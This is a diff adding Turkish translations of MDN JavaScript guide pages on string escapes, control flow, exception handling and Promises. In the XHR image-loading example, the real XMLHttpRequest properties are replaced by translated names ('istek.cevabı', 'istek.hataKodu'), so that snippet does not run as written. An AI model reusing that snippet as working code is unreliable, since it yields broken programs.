oluştururken, her zamanki kullandığınız karakterlere ek olarak aşağıdaki şekilde özel karakterler de kullanabilirsiniz:</p> + +<pre class="brush: js">"bir satır \n diğer satır" +</pre> + +<p>Aşağıdaki tabloda, JavaScript string değerleri içerisinde kullanabileceğiniz özel karakterler listelenmiştir: </p> + +<table class="standard-table"> + <caption>Tablo: JavaScript özel karakterleri</caption> + <thead> + <tr> + <th scope="col">Karakter</th> + <th scope="col">Anlamı</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>\0</code></td> + <td>Boş değer</td> + </tr> + <tr> + <td><code>\b</code></td> + <td>Geri silme</td> + </tr> + <tr> + <td><code>\f</code></td> + <td>Form beslemesi</td> + </tr> + <tr> + <td><code>\n</code></td> + <td>Yeni satır</td> + </tr> + <tr> + <td><code>\r</code></td> + <td>Enter karakteri</td> + </tr> + <tr> + <td><code>\t</code></td> + <td>Tab</td> + </tr> + <tr> + <td><code>\v</code></td> + <td>Dikey tab</td> + </tr> + <tr> + <td><code>\'</code></td> + <td>Kesme işareti veya tek tırnak</td> + </tr> + <tr> + <td><code>\"</code></td> + <td>Çift tırnak</td> + </tr> + <tr> + <td><code>\\</code></td> + <td>Ters bölü (<code>\</code>) karakteri</td> + </tr> + <tr> + <td><code>\<em>XXX</em></code></td> + <td>3 adet sekizlik rakamı barındırabilen, ve 0-377 arasındaki XXX değerlerinin Latin-1 kodlaması ile oluşturulduğu karakterdir. Örneğin, sekizlik \251 değeri telif hakkı sembolünü (<strong>©)</strong> ifade eder.</td> + </tr> + <tr> + </tr> + <tr> + <td><code>\x<em>XX</em></code></td> + <td> + <p>2 adet onaltılık karakteri barındırabilen ve 00-FF arasındaki XX değerlerinin Latin-1 kodlaması ile oluşturduğu karakterdir. Örneğin, onaltılık \xA9 değeri telif hakkı sembolünü (<strong>©)</strong> ifade eder.</p> + </td> + </tr> + <tr> + </tr> + <tr> + <td><code>\u<em>XXXX</em></code></td> + <td> + <p>4 adet onaltılık karakteri barındırabilen XXXX değerleri ile belirlenen Unicode karakteridir. Örneğin \u00A9 karakteri, Unicode olarak telif hakkı sembolünü (<strong>©)</strong> ifade eder. Bkz: <a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#String_literals">Unicode kaçış karakterleri</a>.</p> + </td> + </tr> + <tr> + <td>\u<em>{XXXXX}</em></td> + <td>Unicode kod noktası kaçış karakterlerini ifade eder. Örneğin, \u{2F804} karakteri, \uD87E\uDC04 ile aynı sembolü ifade eder.</td> + </tr> + </tbody> +</table> + +<h4 id="Kaçış_karakterleri">Kaçış karakterleri</h4> + +<p><span style='color: #3b3c40; font-family: "Open Sans",Arial,sans-serif; font-size: 14px;'>Üstteki tabloda yer almayan karakterlerin başına ters bölü işaretinin konulduğunda, ters bölü işareti göz ardı edilir, fakat bu tarz kullanım artık rafa kaldırılmıştır ve kullanımından kaçınılması gerekir. </span></p> + +<p>Bir string değer içerisinde tırnak işaretini kullanabilmeniz için, karakterin başına ters bölü işareti eklemeniz gerekir. Bu kullanıma <strong>tırnaktan kaçış</strong> (<em>escaping</em> the quotation mark) denir. Örneğin:</p> + +<pre class="brush: js">var alıntı = "Sebahattin Ali'nin \"Kürk Mantolu Madonna\" adlı kitabını okudu."; +console.log(alıntı); +</pre> + +<p>Ekran çıktısı aşağıdaki gibi olacaktır:</p> + +<pre class="eval">Sebahattin Ali'nin "Kürk Mantolu Madonna" adlı kitabını okudu. +</pre> + +<p>String değer içerisinde ters bölü işaretini kullanabilmeniz için, tekrar bir ters bölü karakteri daha eklemeniz gerekir. Örneğin <code>c:\temp</code> isimli dosya yolunu, bir string olarak aşağıdaki şekilde ifade edebiliriz:</p> + +<pre class="brush: js">var geçiciDosyalarDizini = "c:\\temp"; +</pre> + +<p>Uzun string değerleri satır satır yazmak için tırnak artı tırnak (<code>" + "</code>) işaretleri ile eklemek yerine satır sonuna sadece ters bölü işareti ekleyebilirsiniz. Ters bölü ve satır sonu karakterleri, string değerinden çıkarılmış olarak tek satır halinde döndürülür.</p> + +<pre class="brush: js">var metin = "Bu metin \ +birçok \ +satıra ayrılarak \ +oluşturulmuştur." +console.log(metin); // Ekran çıktısı: Bu metin birçok satıra ayrılarak oluşturulmuştur. +</pre> + +<p>JavaScript'in paragrafları tanımlamak için bir söz dizimi bulunmamasına rağmen, her satır sonuna <code>\n\</code> karakterleri ekleyerek paragraf oluşturabilirsiniz:</p> + +<pre class="brush: js">var şiir = +"Sana gitme demeyeceğim \n\ +Ama gitme Lavinia \n\ +Adını gizleyeceğim \n\ +Sen de bilme Lavinia."; +</pre> + +<h2 id="Daha_fazlası">Daha fazlası</h2> + +<p>Bu bölümde, tanımlamalar ve türler için temel söz dizimleri konuları üzerinde durulmuştur. JavaScript'in dil oluşturucularıyla ilgili daha fazla bilgi edinmek için bu rehberde bulunan aşağıdaki bölümleri inceleyebilirsiniz:</p> + +<ul> + <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Control_flow_and_error_handling">Kontrol akışı ve hata yakalama</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Loops_and_iteration">Döngüler ve iterasyon</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Functions">Fonksiyonlar</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Expressions_and_Operators">İfadeler ve operatörler</a></li> +</ul> + +<p>Sonraki bölümde, kontrol akışının oluşturulması ve hata yakalamaya göz atacağız.</p> + +<p>{{PreviousNext("Web/JavaScript/Guide/Introduction", "Web/JavaScript/Guide/Control_flow_and_error_handling")}}</p> diff --git a/files/tr/web/javascript/guide/ifadeler/index.html b/files/tr/web/javascript/guide/ifadeler/index.html new file mode 100644 index 0000000000..dcf6d13466 --- /dev/null +++ b/files/tr/web/javascript/guide/ifadeler/index.html @@ -0,0 +1,419 @@ +--- +title: Kontrol akışı ve hata yakalama +slug: Web/JavaScript/Guide/Ifadeler +tags: + - Başlangıç + - JavaScript + - Rehberi +translation_of: Web/JavaScript/Guide/Control_flow_and_error_handling +--- +<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Grammar_and_types", "Web/JavaScript/Guide/Loops_and_iteration")}}</div> + +<p class="summary">JavaScript, uygulamanızın etkilişim halinde olmasını sağlayan kontrol akışı ifadeleri gibi birçok ifadeyi destekler. Bu bölümde, bu ifadeler üzerine durulacaktır.</p> + +<p>En basit olarak anlatmak gerekirse, JavaScript tarafından çalıştırılacak her komuta ifade adı verilir. Noktalı virgül (<code>;</code>) karakteri ise, JavaScript kodundaki ifadelerin birbirinden ayrılması için kullanılmaktadır.</p> + +<h2 id="Blok_ifadesi">Blok ifadesi</h2> + +<p>En temel ifade türü, ifadelerin gruplanmasını sağlayan blok ifadesidir. Blok ifadesi, bir çift süslü parantezle sınırlandırılır:</p> + +<pre class="syntaxbox">{ ifade_1; ifade_2; . . . ifade_n; } +</pre> + +<h3 id="Örnek"><strong>Örnek</strong></h3> + +<p>Blok ifadeleri genellikle kontrol akışı ifadeleri ile birlikte kullanılır (örn: <code>if</code>, <code>for</code>, <code>while</code>).</p> + +<pre class="brush: js">while (x < 10) { + x++; +} +</pre> + +<p>Buradaki, <code>{ x++; } bir </code>blok ifadesidir.</p> + +<p><strong>Önemli</strong>: ECMAScript2015'ten önceki JavaScript'te blok etki alanı bulunmamaktadır. Blok içerisinde yer alan değişkenlerin etki alanı, onları içeren fonksiyon veya .js dosyası kadar geniş bir alanı kapsar, ve bu değişkenler üzerinde yapılan değişiklikler bloğun ötesinde de kalıcılık gösterir. Başka bir deyişle blok ifadeleri, değişkenler için bir etki alanı oluşturmazlar. C ve Java dilinden aşina olduğunuz değişkenden bağımsız blok ifadeleri, JavaScript'te tamamıyla farklı bir davranış sergileyebilirler. Aşağıdaki örneği inceleyelim:</p> + +<pre class="brush: js">var x = 1; +{ + var x = 2; +} +console.log(x); // Ekrandaki çıktı: 2 +</pre> + +<p>Kodun çıktısı 2 olacaktır. Çünkü blok içerisindeki <code>var x</code> ifadesi ile bloktan önce gelen var x ifadesi aynı etki alanı içerisindedir. Eğer üstteki kod C veya Java dilinde olsaydı, ekrandaki çıktı 1 olacaktı.</p> + +<p>ECMAScript 6 ile birlikte gelen <code>let</code> tanımıyla oluşturulan değişkenler, blok seviyesinde etki alanına sahiptir. Daha fazla bilgi için {{jsxref("Statements/let", "let")}} sayfasına bakınız.</p> + +<h2 id="Koşullu_ifadeler">Koşullu ifadeler</h2> + +<p>Belirli bir koşul sağlandığında çalışacak komutlar kümesine <strong>koşullu ifade</strong> denilir. JavaScript, iki adet koşullu ifadeyi destekler: <code>if...else</code> ve <code>switch</code>.</p> + +<h3 id="if...else_ifadesi"><code>if...else</code> ifadesi</h3> + +<p>Belirli bir mantıksal durum sağlandığında bir ifadenin çalıştırılması için <code>if</code> ifadesi kullanılır. Mantıksal durum sağlanmadığında çalıştırılacak komutlar için ise <code>else</code> kelimesi kullanıılabilir. Bir <code>if</code> ifadesi aşağıdaki şekilde oluşturulur:</p> + +<pre class="syntaxbox">if (mantıksal_durum) { + ifade_1; +} else { + ifade_2; +}</pre> + +<p><code>mantıksal_durum</code>, true veya false değerler alabilen herhangi bir ifade olabilir. Eğer <code>mantıksal_durum, </code>true olursa <code>ifade_1</code> çalışacak; aksi halde, <code>ifade_2</code> is çalışacaktır. <code>ifade_1</code> ve <code>ifade_2 ifadeleri</code>, çalıştırılacak herhangi bir ifade olabilir.</p> + +<p>Birçok mantıksal durumun kontrolünün bütün bir halde yapılabilmesi için aşağıdaki şekilde <code>else if</code> tanımlamalarını kullanabilirsiniz.</p> + +<pre class="syntaxbox">if (mantıksal_durum_1) { + ifade_1; +} else if (mantıksal_durum_2) { + ifade_2; +} else if (mantıksal_durum_n) { + ifade_n; +} else { + ifade_son; +} +</pre> + +<p>Üstteki gibi çoklu mantıksal durumların olduğu ifadelerde, yalnızca <code>true</code> olan ilk mantıksal durum çalıştırılır, ilişkili diğer kontrol ifadeleri çalıştırılmaz. Birçok ifadenin çalıştırılması için ifadeler, blok ifadesi (<code>{ ... }</code>) içerisinde gruplandırılır. Özellikle iç içe <code>if</code> ifadelerinin olduğu durumlar başta olmak üzere blok ifadeleri, geliştiriciler arasında yaygın olarak kullanılmaktadır:</p> + +<pre class="syntaxbox">if (mantıksal_durum) { + eğer_durum_true_ise_çalışacak_ifade_1; + eğer_durum_true_ise_çalışacak_ifade_2; +} else { + eğer_durum_false_ise_çalışacak_ifade_3; + eğer_durum_false_ise_çalışacak_ifade_4; +} +</pre> + +<div><code>mantıksal_durum</code> kısmında herhangi bir değişkene değer atamak yanlış bir kullanımdır, çünkü kodunuza sizden sonra bakan biri atama işlemini ilk bakışta eşitlik olarak görebilir. Örneğin aşağıdaki şekilde bir kullanım yanlıştır:</div> + +<div></div> + +<pre class="example-bad brush: js">if (x = y) { + /* diğer ifadeler */ +} +</pre> + +<p>Eğer <code>mantıksal_durum</code> kısmında gerçekten atama yapmanız gerekiyorsa, bunu yapmanın en iyi yolu atama ifadesini parantezler içerisine almaktır. Örneğin:</p> + +<pre class="brush: js">if ((x = y)) { + /* diğer ifadeler */ +} +</pre> + +<h4 id="Yanlışımsı_falsy_değerler">Yanlışımsı (falsy) değerler</h4> + +<p>Aşağıdaki değerler JavaScript tarafından false olarak değerlendirilir ve ({{Glossary("Falsy")}} değerler olarak bilinir):</p> + +<ul> + <li><code>false</code></li> + <li><code>undefined</code></li> + <li><code>null</code></li> + <li><code>0</code></li> + <li><code>NaN</code></li> + <li>Boş string (<code>""</code>)</li> +</ul> + +<p>Mantıksal durum içerisine alınan diğer bütün değerler ve nesneler, JavaScript tarafından true olarak değerlendirilir.</p> + +<p>{{jsxref("Boolean")}} nesnesindeki true ve false ile ilkel tipteki <code>true</code> ve <code>false</code> değerlerini karıştırmayınız. Örneğin:</p> + +<pre class="brush: js">var b = new Boolean(false); +if (b) // bu ifade true olarak değerlendirilir +</pre> + +<h4 id="Örnek_2"><strong>Örnek</strong></h4> + +<p>Aşağıdaki örnekte bulunan <code>checkData</code> fonksiyonu, HTML dokümanındaki formda yer alan <code>ikiKarakter</code> isimli girdi nesnesine ait değerin, karakter sayısı 2 ise <code>true</code> döndürülür, değilse ekrana bir uyarı metni basılır ve <code>false</code> döndürülür:</p> + +<pre class="brush: js">function checkData() { + if (document.form1.ikiKarakter.value.length == 2) { + return true; + } else { + alert("Tam olarak iki karakter giriniz. " + + document.form1.ikiKarakter.value + " geçersizdir."); + return false; + } +} +</pre> + +<h3 id="switch_ifadesi"><code>switch</code> ifadesi</h3> + +<p>Bir <code>switch</code> ifadesine, mantıksal bir ifade verilir ve bu ifade ile eşleşen bir etiket varsa, etiketi içeren <code>case</code> ifadesi çalıştırılır, yoksa varsayılan ifade (<code>default)</code> çalıştırılır. Örnek:</p> + +<pre class="syntaxbox">switch (mantıksal_ifade) { + case etiket_1: + ifadeler_1 + [break;] + case etiket_2: + ifadeler_2 + [break;] + ... + default: + varsayılan_ifadeler + [break;] +} +</pre> + +<p>Üstteki kodu çalıştırırken JavaScript, <code>mantıksal_ifade</code> ile eşleşen etikete sahip <code>case</code> cümleciğini arar ve ilişkili ifadeleri çalıştırır. Eğer eşleşen hiçbir etiket bulunamadıysa, <code>default</code> cümleciğinin olup olmadığına bakar, varsa ve ilgili varsayılan ifadeleri çalıştırır. Eğer <code>default</code> cümleciği de yoksa, <code>switch</code> bloğundan çıkılır. <code>default</code> cümleciğinin sırası önemli olmamakla birlikte, genel kullanımlarda hep en sonda yer almaktadır.</p> + +<p>Her <code>case</code> cümleciğinde, isteğe bağlı olarak konulan <code>break</code> ifadesi, eşleşen ifadenin çalıştırılıp tamamlandıktan sonra switch bloğundan çıkmayı sağlar. Eğer <code>break</code> ifadesi yazılmazsa, program <code>switch</code> ifadesi içerisindeki bir sonraki case ifadesini çalıştırarak yoluna devam eder. </p> + +<h4 id="Örnek_3"><strong>Örnek</strong></h4> + +<p>Aşağıdaki örnekte, <code>meyve</code> ifadesinin değeri "Muz" ise, program "Muz" değeri ile eşleşen <code>case</code> "Muz" ifadesini çalıştırır. <code>break</code> ile karşılaşıldığında, program <code>switch</code> bloğundan çıkar ve <code>switch</code> bloğundan sonraki kodları çalıştırır. Eğer <code>break</code> ifadesi olmasaydı, "Muz" ile alakasız olan, <code>case "Kiraz"</code> ifadesi de çalıştırılacaktı.</p> + +<pre class="brush: js">switch (meyve) { + case "Portakal": + console.log("Portakalların kilosu ₺1.99 lira."); + break; + case "Elma": + console.log("Elmaların kilosu ₺1.49 lira."); + break; + case "Muz": + console.log("Muzların kilosu ₺2.49 lira."); + break; + case "Kiraz": + console.log("Kirazların kilosu ₺2.19 lira."); + break; + case "Çilek": + console.log("Çileklerin kilosu ₺2.49 lira."); + break; + case "Avokado": + console.log("Avokadoların kilosu ₺5.99 lira."); + break; + default: + console.log("Maalesef elimizde hiç " + meyve + " kalmadı."); +} +console.log("Başka bir şey lazım mı?");</pre> + +<h2 id="Exception_Hata_yakalama_ifadeleri">Exception (Hata) yakalama ifadeleri</h2> + +<p><code>throw</code> ifadesi ile exception fırlatabilir, <code>try...catch</code> ifadeleri kullanarak hata yakalama işlemlerinizi yürütebilirsiniz.</p> + +<ul> + <li><code><a href="#throw_ifadesi">throw ifadesi</a></code></li> + <li><a href="#try...catch_ifadesi"><code>try...catch</code> ifadesi</a></li> +</ul> + +<h3 id="Exception_türleri">Exception türleri</h3> + +<p>JavaScript'te neredeyse her nesne fırlatılabilir. Buna rağmen fırlatılacak türdeki nesnelerin hepsi aynı şekilde oluşturulmamışlardır. Sayı ve string değerlerinin hata olarak fırlatılması oldukça yaygın olmasına rağmen, bu amaç için belirli olarak oluşturulan aşağıdaki exception türlerinden birinin kullanılması daha anlamlıdır:</p> + +<ul> + <li><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects#Fundamental_objects">ECMAScript exception</a></li> + <li>{{domxref("DOMException")}} ve {{domxref("DOMError")}}</li> +</ul> + +<h3 id="throw_ifadesi"><code>throw</code> ifadesi</h3> + +<p>Bir exception fırlatmak için <code>throw</code> ifadesini kullanılır. Bir exception fırlattığınız zaman, fırlatılacak ifadeyi de belirlersiniz:</p> + +<pre class="syntaxbox">throw ifade; +</pre> + +<p>Herhangi bir türdeki ifadeyi exception olarak fırlatabilirsiniz. Aşağıdaki kodda çeşitli türlerdeki exception'lar fırlatılmaktadır:</p> + +<pre class="brush: js">throw "Hata2"; // String türü +throw 42; // Sayı türü +throw true; // Boolean türü +throw { toString: function() { return "Ben bir nesneyim."; } }; +</pre> + +<div class="note"><strong>Not:</strong> Bir exception fırlatırken ilgili exception nesnesini belirleyebilirsiniz. Daha sonra catch bloğunda hatayı yakaladığınızda ilgili exception nesnesinin özelliklerine erişebilirsiniz. Aşağıdaki ifadede, KullanıcıHatası sınıfından bir nesne oluşturulmakta, ve throw ifadesinde bu nesne fırlatılmaktadır.</div> + +<pre class="brush: js">// KullanıcıHatası türünde nesne oluşturuluyor +function KullanıcıHatası(mesaj){ + this.mesaj=mesaj; + this.adı="KullanıcıHatası"; +} + +// Oluşturulan KullanıcıHatası nesnesinin konsola yazıldığında güzel bir +// ifade yazılması için aşağıdaki şekilde toString() fonksiyonunu override ediyoruz. +KullanıcıHatası.prototype.toString = function () { + return this.adı+ ': "' + this.mesaj+ '"'; +} + +// KullanıcıHatası nesnesi yaratılır ve exception olarak fırlatılır +throw new KullanıcıHatası("Yanlış bir değer girdiniz.");</pre> + +<h3 id="try...catch_ifadesi"><code>try...catch</code> ifadesi</h3> + +<p><code>try...catch</code> ifadesi, çalıştırılması istenen ifadeleri bir blokta tutar. Fırlatılacak exception için bir veya daha fazla ifade belirlenerek, oluşacak bir <code>try...catch</code> ifadesi tarafından yakalanması sağlanır.</p> + +<p><code>try...catch</code> ifadesi, çalıştırılacak bir veya daha fazla komutun yer aldığı, ve try bloğu içerisinde hata oluştuğunda çalışacak ifadeleri içeren, 0 veya daha fazla catch ifadesinin yer aldığı bir <code>try</code> bloğu içerir. Bu şekilde, try içerisinde yer alan başarıyla çalışmasını istediğiniz kodlarda bir sorun oluştuğunda, catch bloğunda bu sorunun üstesinden gelecek kontrolleri yazabilirsiniz. Eğer try bloğu içerisindeki herhangi bir ifade (veya try bloğu içerisinden çağırılan fonksiyon) bir exception fırlatırsa, JavaScript anında <code>catch</code> bloğuna bakar. Eğer try bloğu içerisinde bir exception fırlatılmazsa, <code>catch</code> bloğu çalıştırılmaz ve atlanır. <code>try</code> ve <code>catch </code>bloklarından sonra, eğer varsa <code>finally</code> bloğu da çalıştırılır.</p> + +<p>Aşağıdaki örnekte bir <code>try...catch</code> ifadesi kullanılmaktadır. Fonksiyonda, parametre olarak geçilen ay sayısı değeri baz alınarak, diziden ilgili ayın adı getirilmektedir. Eğer ay sayısı değeri 1-12 arasında değilse, <code>"Geçersiz ay sayısı." </code>değeri exception olarak fırlatılır. catch bloğundaki ayAdı değişkeni de "bilinmeyen" olarak atanır.</p> + +<pre class="brush: js">function getAyAdı(aySayisi) { + aySayisi= aySayisi-1; // Dizi indeksi için aySayisi 1 azaltılır (1=Oca, 12=Ara) + var aylar= ["Oca","Şub","Mar","Nis","May","Haz","Tem", + "Ağu","Eyl","Eki","Kas","Ara"]; + if (aylar[aySayisi] != null) { + return aylar[aySayisi]; + } else { + throw "Geçersiz ay sayısı."; // burada throw ifadesi kullanılıyor + } +} + +try { // denenecek ifadeler + ayAdı = getAyAdı(aySayim); // function could throw exception +} +catch (e) { + ayAdı = "bilinmiyor"; + hatalarımıKaydet(e); // hataların kaydedilmesi için exception nesnesi geçiliyor. +} +</pre> + +<h4 id="The_catch_Block" name="The_catch_Block"><code>catch</code> bloğu</h4> + +<p><code>try</code> bloğunda oluşturulan tüm exception'ların yakalanması için <code>catch</code> bloğunu kullanabilirsiniz.</p> + +<pre class="syntaxbox">catch (exceptionDeğişkeni) { + ifadeler +} +</pre> + +<p><code>catch</code> bloğunda, <code>throw</code> ifadesi tarafından belirlenecek değerin tutulması için bir değişken tanımlanır; bu değişken kullanılarak, fırlatılan exception ile ilgili bilgiler elde edilmiş olur. <code>catch</code> bloğuna girildiğinde JavaScript, bu değişkenin içini doldurur; değişken değeri sadece <code>catch</code> bloğu süresince geçerli kalır; catch bloğu çalışmasını tamamladığında değişken artık mevcut değildir.</p> + +<p>Örneğin aşağıdaki kodda, bir exception fırlatılıyor, ve fırlatıldığı anda otomatik olarak catch bloğuna iletiliyor.</p> + +<pre class="brush: js">try { + throw "hata" // bir exception oluşturur. +} +catch (e) { + // herhangi bir exception'ı yakalamak için oluşturulan ifadeler + hatalarımıKaydet(e) // hataların kaydedilmesi için exception nesnesi geçilir. +} +</pre> + +<h4 id="finally_bloğu"><code>finally</code> bloğu</h4> + +<p><code>finally</code> bloğu, <code>try...catch</code> ifadesinden sonra çalıştırılacak kod satırlarını içerir. finally bloğu, hata olsun veya olmasın çalışır. Eğer hata olmuşsa ve exception fırlatılmışsa, bu hatayı karşılayacak catch bloğu olmasa dahi <code>finally</code> bloğu çalışır. </p> + +<p><code>finally</code> bloğu, hata oluştuğunda bu hataya sebep olan değişkenin kullandığı kaynakların sisteme geri verilmesi için en iyi yerdir. Bu şekilde hata tüm ayrıntılarıyla çözülmüş olur. Aşağıdaki örnekte bir dosya açılmakta, ve sonrasında dosyaya yazma işlemleri için kullanan ifadeler çalıştırılmaktadır (Sunucu taraflı yazılmış koddur. İstemci tarafında dosyaya yazma işlemleri güvenlik açısından engellenmiştir. Eğer dosya, yazmak için açılırken bir exception fırlatılırsa, kod hata vermeden önce <code>finally</code> bloğu çalışır ve erişilecek dosyayı kapatır.</p> + +<pre class="brush: js">dosyaAç(); +try { + dosyayaYaz(veriler); // Bu kısım hata verebilir +} catch(e) { + hatayıKaydetveGöster(e); // Hata ile ilgili bilgiler kaydedilir ve kullanıcıya bir hata mesajı sunulur. +} finally { + dosyayıKapat(); // Dosyayı kapatır (hata olsa da olmasa da). +} +</pre> + +<p>Eğer <code>finally</code> bloğu bir değer geri döndürürse, bu değer, <code>try</code> ve <code>catch</code> içerisindeki return ifadelerine bakmaksızın, <code>try-catch-finally</code> ifadesinin tamamı için geri dönüş değeri haline gelir:</p> + +<pre class="brush: js">function f() { + try { + console.log(0); + throw "hata"; + } catch(e) { + console.log(1); + return true; // Buradaki return ifadesi, + // finally bloğu tamamlanana dek duraklatılır. + console.log(2); // Üstteki return ifadesinden dolayı çalıştırılmaz. + } finally { + console.log(3); + return false; // catch kısmındaki return ifadesinin üstüne yazar ve geçersiz hale getirir. + console.log(4); // return'den dolayı çalıştırılmaz. + } + // Şimdi "return false" ifadesi çalıştırılır ve fonksiyondan çıkılır. + console.log(5); // Çalıştırılmaz. +} +f(); // Konsola 0 1 3 yazar ve false değerini döndürür. +</pre> + +<p><code>finally</code> bloğunun, geri dönüş değerlerinin üstüne yazma etkisi, aynı zamanda <code>catch</code> bloğu içerisindeki exception'lar için de aynı şekilde çalışır:</p> + +<pre class="brush: js">function f() { + try { + throw "hata"; + } catch(e) { + console.log('İçerideki "hata" yakalandı.'); + throw e; // Burası finally bloğu tamamlanana dek duraklatılır. + } finally { + return false; // Önceki "throw" ifadesinin üstüne yazar ve + // throw ifadesini geçersiz hale getirir. + } + // Şimdi "return false" ifadesi çalıştırılır. +} + +try { + f(); +} catch(e) { + // f() fonksiyonundaki throw ifadesi geçersiz hale geldiği için + // buradaki catch bloğu çalıştırılmaz. + console.log('Diğer "hata" yakalandı.'); +} + +// Ekran çıktısı: İçerideki "hata" yakalandı.</pre> + +<h4 id="Nesting_try...catch_Statements" name="Nesting_try...catch_Statements">İçiçe try...catch ifadeleri</h4> + +<p>Bir veya daha fazla iç içe <code>try...catch</code> ifadeleri tanımlayabilirsiniz. Eğer içteki <code>try...catch</code> ifadesinin <code>catch</code> bloğu yoksa, bir dıştaki <code>try...catch</code> ifadesinin c<code>atch</code> bloğu kontrol edilir.</p> + +<h3 id="Error_nesnelerinin_etkili_kullanımı"><code>Error</code> nesnelerinin etkili kullanımı</h3> + +<p><code>Error</code> nesnesinin türüne bağlı olarak, 'name' ve 'message' özellikleri vasıtasıyla daha anlamlı hata mesajları tanımlayabilirsiniz. 'name' özelliği, oluşan hatayı sınıflandırır (örn, 'DOMException' veya 'Error'). 'message' ise hata nesnesinin string'e dönüştürülmesine nazaran genellikle daha kısa bir mesaj sunulmasına olanak tanır.</p> + +<p>Eğer kendi exception nesnelerinizi fırlatıyorsanız ve bu özellikleri kullanarak hatayı anlamlı hale getirmek istiyorsanız <code>Error</code> sınıfının yapıcısının getirdiği avantajlardan faydalanabilirsiniz (örneğin catch bloğunuzun, kendi exception'larınız ile sistem exception'ları arasındaki farkı ayırt edemediği gibi durumlarda). Aşağıdaki örneği inceleyelim:</p> + +<pre class="brush: js">function hatayaMeyilliFonksiyon() { + if (hataVerenFonksiyonumuz()) { + throw (new Error('Hata oluştu')); + } else { + sistemHatasıVerenFonksiyon(); + } +} + +try { + hatayaMeyilliFonksiyon(); +} +catch (e) { + console.log(e.name); // 'Error' yazar + console.log(e.message); // 'Hata oluştu' veya bir JavaScript hata mesajı yazar +}</pre> + +<h2 id="Promise_nesneleri">Promise nesneleri</h2> + +<p>ECMAScript2015 ile birlikte JavaScript'e, asenkron ve geciktirilmiş işlemlerin akış kontrolünün sağlanması için {{jsxref("Promise")}} nesneleri gelmiştir.</p> + +<p>Bir <code>Promise</code> nesnesi aşağıdaki durumlardan birinde bulunur:</p> + +<ul> + <li><em>pending (bekliyor)</em>: başlangıç durumu, henüz çalıştırılmadı.</li> + <li><em>fulfilled (başarıyla çalıştı)</em>: başarılı işlem</li> + <li><em>rejected (hatalı çalıştı)</em>: hatalı işlem.</li> + <li><em>settled (yerleşti)</em>: Promise nesnesi başarıyla veya hatalı olarak çalıştı.</li> +</ul> + +<p><img alt="" src="https://mdn.mozillademos.org/files/8633/promises.png" style="height: 297px; width: 801px;"></p> + +<h3 id="XHR_ile_resim_yükleme">XHR ile resim yükleme</h3> + +<p><code>Promise</code> ve <code><a href="/en-US/docs/Web/API/XMLHttpRequest">XMLHttpRequest</a></code> kullanarak bir resmin yüklenmesi için MDN GitHub<a href="https://github.com/mdn/promises-test/blob/gh-pages/index.html"> promise-test</a> sayfasında basit bir örnek mevcuttur. Ayrıca örneği canlı olarak da <a href="http://mdn.github.io/promises-test/">görebilirsiniz</a>. Örnekteki her aşamaya yorum satırları eklenmiştir. Bu sayede Promise ve XHR mimarisini daha yakından izleyebilirsiniz. Aşağıda <code>Promise</code> nesnesinin akışını gösteren örneğin belgelendirilmemiş sürümü bulunmaktadır:</p> + +<pre class="brush: js">function resimYükle(url) { + return new Promise(function(başarıSonucundaFonk, hataSonucundaFonk) { + var istek = new XMLHttpRequest(); + istek.open('GET', url); + istek.responseType = 'blob'; + istek.onload = function() { + if (istek.status === 200) { + başarıSonucundaFonk(istek.cevabı); + } else { + hataSonucundaFonk(Error('Resim yüklenemedi; hata kodu:' + + istek.hataKodu)); + } + }; + istek.onerror = function() { + hataSonucundaFonk(Error('Bir bağlantı hatası oluştu.')); + }; + istek.send(); + }); +}</pre> + +<p>Daha fazla detaylı bilgi için {{jsxref("Promise")}} sayfasına bakınız.</p> + +<div>{{PreviousNext("Web/JavaScript/Guide/Grammar_and_types", "Web/JavaScript/Guide/Loops_and_iteration")}}</div> diff --git a/files/tr/web/javascript/guide/index.html b/files/tr/web/javascript/guide/index.html new file mode 100644 index 0000000000..5e4e177f58 --- /dev/null +++ b/files/tr/web/javascript/guide/index.html @@ -0,0 +1,122 @@ +--- +title: JavaScript Rehberi +slug: Web/JavaScript/Guide +tags: + - AJAX + - Intermediate + - JavaScript + - JavaScript_Guide + - NeedsTranslation + - TopicStub +translation_of: Web/JavaScript/Guide +--- +<div>{{jsSidebar("JavaScript Rehberi")}}</div> + +<p class="summary">JavaSript Rehber'i size <a href="/tr/docs/Web/JavaScript">JavaScript'i</a> nasıl kullanacağınızı ve dil hakkında genel bir bakış açısını sunar. JS hakkında daha geniş bir bilgiye ihtiyacınız varsa, <a href="/tr/docs/Web/JavaScript/Reference">JavaScript referansına</a> bakınız.</p> + +<ul class="card-grid"> + <li><span><a href="/tr/docs/Web/JavaScript/Guide/Introduction">Giriş</a></span> + + <p><a href="/tr/docs/Web/JavaScript/Guide/Introduction#Where_to_find_JavaScript_information">Rehber hakkında</a><br> + <a href="/tr/docs/Web/JavaScript/Guide/Introduction#What_is_JavaScript.3F">JavaScript hakkında</a><br> + <a href="/tr/docs/Web/JavaScript/Guide/Introduction#JavaScript_and_Java">JavaScript ve Java</a><br> + <a href="/tr/docs/Web/JavaScript/Guide/Introduction#JavaScript_and_the_ECMAScript_Specification">ECMAScript</a><br> + <a href="/tr/docs/Web/JavaScript/Guide/Introduction#Getting_started_with_JavaScript">Araçlar</a><br> + <a href="/tr/docs/Web/JavaScript/Guide/Introduction#Hello_world">Merhaba Dünya</a></p> + </li> + <li><span><a href="/tr/docs/Web/JavaScript/Guide/Grammar_and_types">Dil bilgisi ve türler</a></span> + <p><a href="/tr/docs/Web/JavaScript/Guide/Grammar_and_types#Temeller">Temel söz dizimleri ve yorumlar</a><br> + <a href="/tr/docs/Web/JavaScript/Guide/Grammar_and_types#Tanımlamalar">Tanımlamalar</a><br> + <a href="/tr/docs/Web/JavaScript/Guide/Grammar_and_types#Değişkenin_etki_alanı">Değişkenin etki alanı </a><br> + <a href="/tr/docs/Web/JavaScript/Guide/Grammar_and_types#Değişkeni_yukarı_alma_(hoisting)">Değişkeni fonksiyon dışına alma(hoisting) </a><br> + <a 